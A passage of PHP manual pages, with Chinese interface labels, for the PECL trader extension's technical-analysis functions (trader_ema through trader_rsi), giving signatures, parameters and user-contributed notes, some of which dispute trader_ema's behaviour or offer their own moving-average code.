  • Exponential Moving Average

trader_ema

(PECL trader >= 0.2.0)

trader_ema — Exponential Moving Average

说明

trader_ema(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

Anonymous 03-Sep-2019 10:08
As noted,  this function simply doesnt work.  It returns MA values.
andy at siliconrockstar dot com 01-Jun-2019 08:00
The trader_ema() function works correctly if you understand what the second argument is. The second argument is used to group the values into overlapping periods. Within the periods, the numbers undergo a simple average calculation.

So if you call trader_ema($array, 6), and your array only has six values, you're going to get back a simple average, because there is no previous data to weight the value.

If you call trader_ema($array, 3), then your six array values will be grouped into four overlapping groups of three, and you'll get back four values, each representing the EMA for that period.

Below is the output of trader_ema(array(1,2,2,1,3,4), 3) and trader_sma(array(1,2,2,1,3,4), 3). You can see the first value is the same for both the EMA and SMA calculations.

trader_ema(array(1,2,2,1,3,4), 3)

array(4) {
  [2]=>
  float(1.6666666667)
  [3]=>
  float(1.3333333333)
  [4]=>
  float(2.1666666667)
  [5]=>
  float(3.0833333333)
}

trader_sma(array(1,2,2,1,3,4), 3)

array(4) {
  [2]=>
  float(1.6666666667)
  [3]=>
  float(1.6666666667)
  [4]=>
  float(2)
  [5]=>
  float(2.6666666667)
}
Ash Christos 08-Aug-2018 07:28
This method works fine. If you're finding that the EMA and SMA results are the same, the precision setting might still be the default or not tuned to your use case. (For example floats with more than 3 levels, sathoshi's, etc)

# this is needed for 0.00XXXXZ levels
ini_set( 'trader.real_precision', '8' );
kazemi dot milad at gmail dot com 01-Aug-2018 11:22
trader_ema in wrong calculate value
this return just simple moving avrage
for get ema correct use this code
$number is data array and $n is number of period
example:
$number[0]    => last value
$number[n]    =>first value

function exponentialMovingAverage(array $numbers, int $n): array
{
    $numbers=array_reverse($numbers);
    $m   = count($numbers);
    $α   = 2 / ($n + 1);
    $EMA = [];

    // Start off by seeding with the first data point
    $EMA[] = $numbers[0];

    // Each day after: EMAtoday = α?xtoday + (1-α)EMAyesterday
    for ($i = 1; $i < $m; $i++) {
        $EMA[] = ($α * $numbers[$i]) + ((1 - $α) * $EMA[$i - 1]);
    }
    $EMA=array_reverse($EMA);
    return $EMA;
}
manoj dot monu23 at gmail dot com 03-Feb-2014 12:07
the trader_ema() function does'nt work correctly , it calculate just average of last period entries. Follow the following code for trader_ema:
 function EMACalculator($limit,$array)
{
    $EMA_previous_day = $array[0];
    //print_r($array);
    $multiplier1 = (2/$limit+1);
    $EMA[]=array();
    $EMA = $array[0];
    $Close= $array[1];

    while($limit)
{
    //echo"EMA is $EMA\n";
    $EMA = ($Close - $EMA_previous_day) * $multiplier1 + $EMA_previous_day;
    $EMA_previous_day= $EMA;

    $limit--;
}
return $EMA;
}
where $limit accept the period of ema  and $array : accept array of data for ema calculation.


Get error code

  • ? trader_ema
  • trader_exp ?
  • PHP Manual
  • Trader 函数
  • Get error code

trader_errno

(PECL trader >= 0.3.0)

trader_errno — Get error code

说明

trader_errno(): int

Get error code of the last operation.

参数

此函数没有参数。

返回值

Returns the error code identified by one of the TRADER_ERR_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Exp

  • ? trader_errno
  • trader_floor ?
  • PHP Manual
  • Trader 函数
  • Vector Arithmetic Exp

trader_exp

(PECL trader >= 0.2.0)

trader_exp — Vector Arithmetic Exp

说明

trader_exp(array $real): array

Calculates e raised to the power of each value in real. Returns an array with the calculated data.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Floor

  • ? trader_exp
  • trader_get_compat ?
  • PHP Manual
  • Trader 函数
  • Vector Floor

trader_floor

(PECL trader >= 0.2.0)

trader_floor — Vector Floor

说明

trader_floor(array $real): array

Calculates the next lowest integer for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:54
<?php

$real = array(-7.8, 0, 0.1, 0.3, 1, 1.1, 55.1);

$result = trader_floor($real);

var_dump($result);
/*
array(7) {
  [0]=>
  float(-8)
  [1]=>
  float(0)
  [2]=>
  float(0)
  [3]=>
  float(0)
  [4]=>
  float(1)
  [5]=>
  float(1)
  [6]=>
  float(55)
}
*/


Get compatibility mode

  • ? trader_floor
  • trader_get_unstable_period ?
  • PHP Manual
  • Trader 函数
  • Get compatibility mode

trader_get_compat

(PECL trader >= 0.2.2)

trader_get_compat — Get compatibility mode

说明

trader_get_compat(): int

Get compatibility mode which affects the way calculations are done by all the extension functions.

参数

此函数没有参数。

返回值

Returns the compatibility mode id which can be identified by TRADER_COMPATIBILITY_* series of constants.

User Contributed Notes

There are no user contributed notes for this page.


Get unstable period

  • ? trader_get_compat
  • trader_ht_dcperiod ?
  • PHP Manual
  • Trader 函数
  • Get unstable period

trader_get_unstable_period

(PECL trader >= 0.2.2)

trader_get_unstable_period — Get unstable period

说明

trader_get_unstable_period(int $functionId): int

Get unstable period factor for a particular function.

参数

functionId

Function ID the factor to be read for. TRADER_FUNC_UNST_* series of constants should be used.

返回值

Returns the unstable period factor for the corresponding function.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Dominant Cycle Period

  • ? trader_get_unstable_period
  • trader_ht_dcphase ?
  • PHP Manual
  • Trader 函数
  • Hilbert Transform - Dominant Cycle Period

trader_ht_dcperiod

(PECL trader >= 0.2.0)

trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period

说明

trader_ht_dcperiod(array $real): array

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Dominant Cycle Phase

  • ? trader_ht_dcperiod
  • trader_ht_phasor ?
  • PHP Manual
  • Trader 函数
  • Hilbert Transform - Dominant Cycle Phase

trader_ht_dcphase

(PECL trader >= 0.2.0)

trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase

说明

trader_ht_dcphase(array $real): array

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Phasor Components

  • ? trader_ht_dcphase
  • trader_ht_sine ?
  • PHP Manual
  • Trader 函数
  • Hilbert Transform - Phasor Components

trader_ht_phasor

(PECL trader >= 0.2.0)

trader_ht_phasor — Hilbert Transform - Phasor Components

说明

trader_ht_phasor(array $real): array

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

bitstocoins at gmail dot com 28-May-2015 08:39
trader_ht_phasor is documented to take only one value

it requires exactly 2 parameters to operate properly

example is

$htpa = trader_ht_phasor($a['open'],$a['close']);


Hilbert Transform - SineWave

  • ? trader_ht_phasor
  • trader_ht_trendline ?
  • PHP Manual
  • Trader 函数
  • Hilbert Transform - SineWave

trader_ht_sine

(PECL trader >= 0.2.0)

trader_ht_sine — Hilbert Transform - SineWave

说明

trader_ht_sine(array $real): array

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

phpnet at mediaquest dot nl 14-Mar-2018 12:08
This is in the changelog for pecl trader extension version 0.4.1. Previous versions used 2 arguments, now only one (see https://pecl.php.net/package-changelog.php?package=trader&release=0.4.1)
bitstocoins at gmail dot com 28-May-2015 08:43
Documentation is missing a value

$hts = trader_ht_sine($a['open'],$a['close']);


Hilbert Transform - Instantaneous Trendline

  • ? trader_ht_sine
  • trader_ht_trendmode ?
  • PHP Manual
  • Trader 函数
  • Hilbert Transform - Instantaneous Trendline

trader_ht_trendline

(PECL trader >= 0.2.0)

trader_ht_trendline — Hilbert Transform - Instantaneous Trendline

说明

trader_ht_trendline(array $real): array

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Trend vs Cycle Mode

  • ? trader_ht_trendline
  • trader_kama ?
  • PHP Manual
  • Trader 函数
  • Hilbert Transform - Trend vs Cycle Mode

trader_ht_trendmode

(PECL trader >= 0.2.0)

trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode

说明

trader_ht_trendmode(array $real): array

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kaufman Adaptive Moving Average

  • ? trader_ht_trendmode
  • trader_linearreg_angle ?
  • PHP Manual
  • Trader 函数
  • Kaufman Adaptive Moving Average

trader_kama

(PECL trader >= 0.2.0)

trader_kama — Kaufman Adaptive Moving Average

说明

trader_kama(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Angle

  • ? trader_kama
  • trader_linearreg_intercept ?
  • PHP Manual
  • Trader 函数
  • Linear Regression Angle

trader_linearreg_angle

(PECL trader >= 0.2.0)

trader_linearreg_angle — Linear Regression Angle

说明

trader_linearreg_angle(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Intercept

  • ? trader_linearreg_angle
  • trader_linearreg_slope ?
  • PHP Manual
  • Trader 函数
  • Linear Regression Intercept

trader_linearreg_intercept

(PECL trader >= 0.2.0)

trader_linearreg_intercept — Linear Regression Intercept

说明

trader_linearreg_intercept(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Slope

  • ? trader_linearreg_intercept
  • trader_linearreg ?
  • PHP Manual
  • Trader 函数
  • Linear Regression Slope

trader_linearreg_slope

(PECL trader >= 0.2.0)

trader_linearreg_slope — Linear Regression Slope

说明

trader_linearreg_slope(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

Angel J. Salinas 09-Apr-2019 10:30
Default value of precision in trader library is 3, but can be increased easily with something like this:

ini_set( 'trader.real_precision', '6' );
Angel J. Salinas 06-Feb-2016 11:26
// If you don't have the php_trader library or needs more than 3 precision digits,
// you can use this function:
public static function linearreg_slope( $valuesIn, $period )
{
  $valuesOut = array();

  $startIdx = 0;
  $endIdx = count($valuesIn) - 1;

  $sumX = $period * ( $period - 1 ) * 0.5;
  $sumXSqr = $period * ( $period - 1 ) * ( 2 * $period - 1 ) / 6;
  $divisor = $sumX * $sumX - $period * $sumXSqr;

  for ( $today = $startIdx, $outIdx = 0; $today <= $endIdx; $today++, $outIdx++ )
  {
    $sumXY = 0;
    $sumY = 0;
    if ( $today >= $period - 1 ) {
      for( $aux = $period; $aux-- != 0; )
      {
        $sumY += $tempValue = $valuesIn[$today - $aux];
        $sumXY += (double)$aux * $tempValue;
      }
      $valuesOut[$outIdx] = ( $period * $sumXY - $sumX * $sumY) / $divisor;
    }
  }

  return $valuesOut;
}


Linear Regression

  • ? trader_linearreg_slope
  • trader_ln ?
  • PHP Manual
  • Trader 函数
  • Linear Regression

trader_linearreg

(PECL trader >= 0.2.0)

trader_linearreg — Linear Regression

说明

trader_linearreg(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Log Natural

  • ? trader_linearreg
  • trader_log10 ?
  • PHP Manual
  • Trader 函数
  • Vector Log Natural

trader_ln

(PECL trader >= 0.2.0)

trader_ln — Vector Log Natural

说明

trader_ln(array $real): array

Calculates the natural logarithm for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Log10

  • ? trader_ln
  • trader_ma ?
  • PHP Manual
  • Trader 函数
  • Vector Log10

trader_log10

(PECL trader >= 0.2.0)

trader_log10 — Vector Log10

说明

trader_log10(array $real): array

Calculates the base-10 logarithm for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving average

  • ? trader_log10
  • trader_macd ?
  • PHP Manual
  • Trader 函数
  • Moving average

trader_ma

(PECL trader >= 0.2.0)

trader_ma — Moving average

说明

trader_ma(array $real, int $timePeriod = ?, int $mAType = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 17-Feb-2021 02:55
<?php
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

var_dump(trader_ma($closes, 3, TRADER_MA_TYPE_SMA));

/*
array(12) {
  [2]=>
  float(114.543)  // (112.82 + 117.32 + 113.49) / 3 = 114.54333333333
  [3]=>
  float(114.27)   // (117.32 + 113.49 + 112) / 3 = 114.27
  [4]=>
  float(113.615)  // (113.49 + 112 + 115.355) / 3 = 113.615
  [5]=>
  float(114.298)  // (112 + 115.355 + 115.54) / 3 = 114.29833333333
  [6]=>
  float(114.342)  // (115.355 + 115.54 + 112.13) / 3 = 114.34166666667
  [7]=>
  float(112.67)   // (115.54 + 112.13 + 110.34) / 3 = 112.67
  [8]=>
  float(109.77)   // (112.13 + 110.34 + 106.84) / 3 = 109.77
  [9]=>
  float(109.087)  // (110.34 + 106.84 + 110.08) / 3 = 109.08666666667
  [10]=>
  float(109.577)  // (106.84 + 110.08 + 111.81) / 3 = 109.57666666667
  [11]=>
  float(109.67)   // (110.08 + 111.81 + 107.12) / 3 = 109.67
  [12]=>
  float(109.05)   // (111.81 + 107.12 + 108.22) / 3 = 109.05
  [13]=>
  float(109.207)  // (107.12 + 108.22 + 112.28) /3 = 109.20666666667
}
*/


Moving Average Convergence/Divergence

  • ? trader_ma
  • trader_macdext ?
  • PHP Manual
  • Trader 函数
  • Moving Average Convergence/Divergence

trader_macd

(PECL trader >= 0.2.0)

trader_macd — Moving Average Convergence/Divergence

说明

trader_macd(
array $real,
int $fastPeriod = ?,
int $slowPeriod = ?,
int $signalPeriod = ?
): array

参数

real

浮点数数组。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

koenig at globaltown dot de 25-Jan-2014 11:25
Return value of this function is an array of arrays :

index [0]: MACD values
index [1]: Signal values
index [2]: Divergence values


MACD with controllable MA type

  • ? trader_macd
  • trader_macdfix ?
  • PHP Manual
  • Trader 函数
  • MACD with controllable MA type

trader_macdext

(PECL trader >= 0.2.0)

trader_macdext — MACD with controllable MA type

说明

trader_macdext(
array $real,
int $fastPeriod = ?,
int $fastMAType = ?,
int $slowPeriod = ?,
int $slowMAType = ?,
int $signalPeriod = ?,
int $signalMAType = ?
): array

参数

real

浮点数数组。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

fastMAType

Type of Moving Average for fast MA. TRADER_MA_TYPE_* series of constants should be used.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

slowMAType

Type of Moving Average for slow MA. TRADER_MA_TYPE_* series of constants should be used.

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

signalMAType

Type of Moving Average for signal line. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving Average Convergence/Divergence Fix 12/26

  • ? trader_macdext
  • trader_mama ?
  • PHP Manual
  • Trader 函数
  • Moving Average Convergence/Divergence Fix 12/26

trader_macdfix

(PECL trader >= 0.2.0)

trader_macdfix — Moving Average Convergence/Divergence Fix 12/26

说明

trader_macdfix(array $real, int $signalPeriod = ?): array

参数

real

浮点数数组。

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

Chileung Chow 04-Mar-2017 05:52
Return value of this function is an array of arrays :

index [0]: MACD values
index [1]: Signal values
index [2]: Divergence values


MESA Adaptive Moving Average

  • ? trader_macdfix
  • trader_mavp ?
  • PHP Manual
  • Trader 函数
  • MESA Adaptive Moving Average

trader_mama

(PECL trader >= 0.2.0)

trader_mama — MESA Adaptive Moving Average

说明

trader_mama(array $real, float $fastLimit = ?, float $slowLimit = ?): array

参数

real

浮点数数组。

fastLimit

Upper limit use in the adaptive algorithm. Valid range from 0.01 to 0.99.

slowLimit

Lower limit use in the adaptive algorithm. Valid range from 0.01 to 0.99.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving average with variable period

  • ? trader_mama
  • trader_max ?
  • PHP Manual
  • Trader 函数
  • Moving average with variable period

trader_mavp

(PECL trader >= 0.2.0)

trader_mavp — Moving average with variable period

说明

trader_mavp(
array $real,
array $periods,
int $minPeriod = ?,
int $maxPeriod = ?,
int $mAType = ?
): array

参数

real

浮点数数组。

periods

浮点数数组。

minPeriod

Value less than minimum will be changed to Minimum period. Valid range from 2 to 100000

maxPeriod

Value higher than minimum will be changed to Maximum period. Valid range from 2 to 100000

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Highest value over a specified period

  • ? trader_mavp
  • trader_maxindex ?
  • PHP Manual
  • Trader 函数
  • Highest value over a specified period

trader_max

(PECL trader >= 0.2.0)

trader_max — Highest value over a specified period

说明

trader_max(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Index of highest value over a specified period

  • ? trader_max
  • trader_medprice ?
  • PHP Manual
  • Trader 函数
  • Index of highest value over a specified period

trader_maxindex

(PECL trader >= 0.2.0)

trader_maxindex — Index of highest value over a specified period

说明

trader_maxindex(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Median Price

  • ? trader_maxindex
  • trader_mfi ?
  • PHP Manual
  • Trader 函数
  • Median Price

trader_medprice

(PECL trader >= 0.2.0)

trader_medprice — Median Price

说明

trader_medprice(array $high, array $low): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Money Flow Index

  • ? trader_medprice
  • trader_midpoint ?
  • PHP Manual
  • Trader 函数
  • Money Flow Index

trader_mfi

(PECL trader >= 0.2.0)

trader_mfi — Money Flow Index

说明

trader_mfi(
array $high,
array $low,
array $close,
array $volume,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

volume

成交量，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


MidPoint over period

  • ? trader_mfi
  • trader_midprice ?
  • PHP Manual
  • Trader 函数
  • MidPoint over period

trader_midpoint

(PECL trader >= 0.2.0)

trader_midpoint — MidPoint over period

说明

trader_midpoint(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Midpoint Price over period

  • ? trader_midpoint
  • trader_min ?
  • PHP Manual
  • Trader 函数
  • Midpoint Price over period

trader_midprice

(PECL trader >= 0.2.0)

trader_midprice — Midpoint Price over period

说明

trader_midprice(array $high, array $low, int $timePeriod = ?): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Lowest value over a specified period

  • ? trader_midprice
  • trader_minindex ?
  • PHP Manual
  • Trader 函数
  • Lowest value over a specified period

trader_min

(PECL trader >= 0.2.0)

trader_min — Lowest value over a specified period

说明

trader_min(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Index of lowest value over a specified period

  • ? trader_min
  • trader_minmax ?
  • PHP Manual
  • Trader 函数
  • Index of lowest value over a specified period

trader_minindex

(PECL trader >= 0.2.0)

trader_minindex — Index of lowest value over a specified period

说明

trader_minindex(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Lowest and highest values over a specified period

  • ? trader_minindex
  • trader_minmaxindex ?
  • PHP Manual
  • Trader 函数
  • Lowest and highest values over a specified period

trader_minmax

(PECL trader >= 0.2.0)

trader_minmax — Lowest and highest values over a specified period

说明

trader_minmax(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Indexes of lowest and highest values over a specified period

  • ? trader_minmax
  • trader_minus_di ?
  • PHP Manual
  • Trader 函数
  • Indexes of lowest and highest values over a specified period

trader_minmaxindex

(PECL trader >= 0.2.0)

trader_minmaxindex — Indexes of lowest and highest values over a specified period

说明

trader_minmaxindex(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Minus Directional Indicator

  • ? trader_minmaxindex
  • trader_minus_dm ?
  • PHP Manual
  • Trader 函数
  • Minus Directional Indicator

trader_minus_di

(PECL trader >= 0.2.0)

trader_minus_di — Minus Directional Indicator

说明

trader_minus_di(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Minus Directional Movement

  • ? trader_minus_di
  • trader_mom ?
  • PHP Manual
  • Trader 函数
  • Minus Directional Movement

trader_minus_dm

(PECL trader >= 0.2.0)

trader_minus_dm — Minus Directional Movement

说明

trader_minus_dm(array $high, array $low, int $timePeriod = ?): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Momentum

  • ? trader_minus_dm
  • trader_mult ?
  • PHP Manual
  • Trader 函数
  • Momentum

trader_mom

(PECL trader >= 0.2.0)

trader_mom — Momentum

说明

trader_mom(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Mult

  • ? trader_mom
  • trader_natr ?
  • PHP Manual
  • Trader 函数
  • Vector Arithmetic Mult

trader_mult

(PECL trader >= 0.2.0)

trader_mult — Vector Arithmetic Mult

说明

trader_mult(array $real0, array $real1): array

Calculates the vector dot product of real0 with real1 and returns the resulting vector.

参数

real0

浮点数数组。

real1

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:41
<?php

$result = trader_mult([1,2,3,4,5], [6,7,8,9,10]);

var_dump($result);
/*
array(5) {
  [0]=>
  float(6)  // 1 * 6
  [1]=>
  float(14) // 2 * 7
  [2]=>
  float(24) // 3 * 8
  [3]=>
  float(36) // 4 * 9
  [4]=>
  float(50) // 5 * 10
}
*/


Normalized Average True Range

  • ? trader_mult
  • trader_obv ?
  • PHP Manual
  • Trader 函数
  • Normalized Average True Range

trader_natr

(PECL trader >= 0.2.0)

trader_natr — Normalized Average True Range

说明

trader_natr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


On Balance Volume

  • ? trader_natr
  • trader_plus_di ?
  • PHP Manual
  • Trader 函数
  • On Balance Volume

trader_obv

(PECL trader >= 0.2.0)

trader_obv — On Balance Volume

说明

trader_obv(array $real, array $volume): array

参数

real

浮点数数组。

volume

成交量，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Plus Directional Indicator

  • ? trader_obv
  • trader_plus_dm ?
  • PHP Manual
  • Trader 函数
  • Plus Directional Indicator

trader_plus_di

(PECL trader >= 0.2.0)

trader_plus_di — Plus Directional Indicator

说明

trader_plus_di(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Plus Directional Movement

  • ? trader_plus_di
  • trader_ppo ?
  • PHP Manual
  • Trader 函数
  • Plus Directional Movement

trader_plus_dm

(PECL trader >= 0.2.0)

trader_plus_dm — Plus Directional Movement

说明

trader_plus_dm(array $high, array $low, int $timePeriod = ?): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Percentage Price Oscillator

  • ? trader_plus_dm
  • trader_roc ?
  • PHP Manual
  • Trader 函数
  • Percentage Price Oscillator

trader_ppo

(PECL trader >= 0.2.0)

trader_ppo — Percentage Price Oscillator

说明

trader_ppo(
array $real,
int $fastPeriod = ?,
int $slowPeriod = ?,
int $mAType = ?
): array

参数

real

浮点数数组。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

vito 30-Jan-2018 11:28
It's always returing an array of 0 to me


Rate of change : ((price/prevPrice)-1)*100

  • ? trader_ppo
  • trader_rocp ?
  • PHP Manual
  • Trader 函数
  • Rate of change : ((price/prevPrice)-1)*100

trader_roc

(PECL trader >= 0.2.0)

trader_roc — Rate of change : ((price/prevPrice)-1)*100

说明

trader_roc(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change Percentage: (price-prevPrice)/prevPrice

  • ? trader_roc
  • trader_rocr100 ?
  • PHP Manual
  • Trader 函数
  • Rate of change Percentage: (price-prevPrice)/prevPrice

trader_rocp

(PECL trader >= 0.2.0)

trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice

说明

trader_rocp(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change ratio 100 scale: (price/prevPrice)*100

  • ? trader_rocp
  • trader_rocr ?
  • PHP Manual
  • Trader 函数
  • Rate of change ratio 100 scale: (price/prevPrice)*100

trader_rocr100

(PECL trader >= 0.2.0)

trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100

说明

trader_rocr100(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change ratio: (price/prevPrice)

  • ? trader_rocr100
  • trader_rsi ?
  • PHP Manual
  • Trader 函数
  • Rate of change ratio: (price/prevPrice)

trader_rocr

(PECL trader >= 0.2.0)

trader_rocr — Rate of change ratio: (price/prevPrice)

说明

trader_rocr(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

mityaev_ivan at mail dot ru 02-Mar-2014 09:59
timePeriod can be from 1 (not from 2)
Working correctly, and tis is common need to calculate change from previos period.


Relative Strength Index

  • ? trader_rocr
  • trader_sar ?
  • PHP Manual
  • Trader 函数
  • Relative Strength Index

trader_rsi

(PECL trader >= 0.2.0)

trader_rsi — Relative Strength Index

说明

trader_rsi(array $real, int $timePeriod = ?): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

essaamar at hotmail dot com 21-Sep-2018 10:44
the [2,2,3,2,3] are array of values for example $2,$2$3,$2,$3
the 4 is periods
$t=trader_rsi ( [2,2,3,2,3],4);

print_r($t);

returns :

Array ( [4] => 66.667 )


Parabolic SAR

  • ? trader_rsi
  • trader_sarext ?
  • PHP Manual
  • Trader 函数
  • Parabolic SAR

trader_sar

(PECL trader >= 0.2.0)

trader_sar — Parabolic SAR

说明

trader_sar(
array $high,
array $low,
float $acceleration = ?,
float $maximum = ?
): array

参数

